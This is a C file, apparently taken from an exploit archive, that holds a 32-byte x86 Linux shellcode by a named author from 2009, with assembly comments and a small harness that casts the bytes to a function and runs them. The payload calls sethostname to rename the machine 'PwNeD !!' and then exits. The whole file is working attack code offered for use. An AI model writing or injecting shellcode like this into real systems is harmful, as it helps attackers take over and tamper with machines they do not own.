37 lines
No EOL
1.3 KiB
C
37 lines
No EOL
1.3 KiB
C
/*
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Title : sethostname "pwned !!"
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Name : 32 bytes sys_sethostname("PwNeD !!",8) x86 linux shellcode
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Date : may, 31 2009
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Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
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Web : devilzc0de.com
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blog : gunslingerc0de.wordpress.com
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tested on : linux debian
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*/
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#include <stdio.h>
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char *shellcode=
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"\xeb\x11" /* jmp 0x8048073 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x4a" /* mov $0x4a,%al */
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"\x5b" /* pop %ebx */
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"\xb1\x08" /* mov $0x8,%cl */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x01" /* mov $0x1,%al */
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"\x31\xdb" /* xor %ebx,%ebx */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xea\xff\xff\xff" /* call 0x8048062 */
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"\x50" /* push %eax */
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"\x77\x4e" /* ja 0x80480c9 */
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"\x65" /* gs */
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"\x44" /* inc %esp */
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"\x20\x21" /* and %ah,(%ecx) */
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"\x21"; /* .byte 0x21 */
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(shellcode));
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((void (*)(void)) shellcode)();
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return 0;
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} |